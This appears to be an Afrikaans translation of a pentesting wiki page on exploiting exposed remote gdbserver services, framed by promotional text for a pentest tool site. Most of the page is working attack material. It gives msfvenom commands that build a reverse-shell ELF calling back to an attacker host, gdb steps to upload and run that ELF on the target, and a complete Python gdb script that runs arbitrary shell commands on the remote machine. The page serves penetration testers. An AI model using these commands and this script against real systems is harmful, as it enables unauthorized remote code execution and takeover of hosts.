Pentesting Remote GdbServer

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Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Basiese Inligting

gdbserver is 'n gereedskap wat die foutopsporing van programme op afstand moontlik maak. Dit hardloop langs die program wat foutopsporing benodig op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling maak dit vir die GNU Foutopspoorger moontlik om vanaf 'n ander masjien, die "gasheer," waar die bronkode en 'n binêre kopie van die foutopgespoorde program gestoor word, te verbind. Die verbinding tussen gdbserver en die foutopspoorger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige foutopsporingsopstelling moontlik maak.

Jy kan 'n gdbserver laat luister op enige poort en op hierdie oomblik is nmap nie in staat om die diens te herken nie.

Uitbuiting

Oplaai en Uitvoer

Jy kan maklik 'n elf agterdeur met msfvenom skep, dit oplaai en uitvoer:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Voer willekeurige bevele uit

Daar is 'n ander manier om die debugger willekeurige bevele te laat uitvoer deur 'n python aangepaste skrip geneem van hier.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Eerstens skep plaaslik hierdie skripsie:

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.